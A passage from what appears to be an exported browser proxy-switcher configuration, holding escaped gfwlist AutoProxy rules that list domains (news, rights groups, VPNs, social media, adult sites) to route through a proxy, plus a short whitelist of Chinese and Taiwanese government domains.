.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 PAC 2\":{\"color\":\"#fe9\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.594Z\",\"matchProfileName\":\"PAC 2 for 25\",\"name\":\"__ruleListOf_自动切换 PAC 2\",\"profileType\":\"RuleListProfile\",\"revision\":\"14f9238a9dd\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.